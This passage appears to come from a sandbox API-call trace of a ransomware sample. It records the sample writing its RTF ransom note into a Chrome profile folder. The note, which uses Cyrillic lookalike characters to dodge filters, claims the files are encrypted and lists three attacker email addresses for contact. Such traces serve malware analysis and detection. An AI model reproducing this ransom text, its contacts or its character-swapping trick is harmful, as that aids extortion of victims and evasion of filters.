m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nt\x15F=\x89\x7fSÜÐÓ\x08\x15h|¢IªÓ]a\x0fª¥Gë`07", lpUsedDefaultChar=0x0) returned 14086 [0034.979] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.980] CloseHandle (hObject=0x1b0) returned 1 [0034.980] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\!bwng_info!.rtf")) returned 0xffffffff [0034.980] GetLastError () returned 0x2 [0034.980] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.981] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 